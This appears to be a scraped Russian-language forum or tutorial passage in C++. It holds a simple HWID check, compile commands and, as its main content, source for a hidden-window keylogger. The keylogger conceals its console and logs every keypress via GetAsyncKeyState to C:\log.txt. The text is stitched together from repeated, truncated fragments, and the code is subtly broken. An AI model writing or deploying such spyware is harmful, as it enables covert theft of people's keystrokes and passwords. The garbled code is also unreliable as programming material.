void key() { }
char NameBuffer[MAX_PATH]; char SysNameBuffer[MAX_PATH]; DWORD HWID, MCLength, FileSF;
if (GetVolumeInformation("C:\\", NameBuffer, sizeof(NameBuffer), &HWID, &MCLength, &FileSF, SysNameBuffer, sizeof(SysNameBuffer))) { }
if (HWID == 123456789) { //Если HWID равен 123456789 (Надо поставить свой) cout << "HWID: found"; //Выводим HWID: found }
else { // в другом случае cout << "HWID: not found"; // выводим HWID: not found }
int main() { key(); cin.get(); }
cl -GL C:\\путь\файл.cpp
bcc32.exe C:\\путь\файл.cpp
#include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int S (int key, char *files); void Hide(); int S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; } void Hide() { HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); } int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\\log.txt"); } } system ("PAUSE"); return 0; }
nt S (int key, char *files) { if ( (key == 1) || (key == 2) ) return 0; FILE *Save; Save = fopen(files, "a+"); cout << key << endl; fprintf(Save, "%s", &key); fclose (Save); return 0; }
{ HWND Hide; AllocConsole(); Hide = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Hide,0); }
int main() { Hide(); char q; while (1) { for(q = 8; q <= 190; q++) { if (GetAsyncKeyState(q) == -32767) S (q,"C:\\log.txt"); } } system ("PAUSE"); return 0; }
if (key == VK_TAB) fprintf(Save, "%s", "[TAB]");
Имена участников (разделяйте запятой).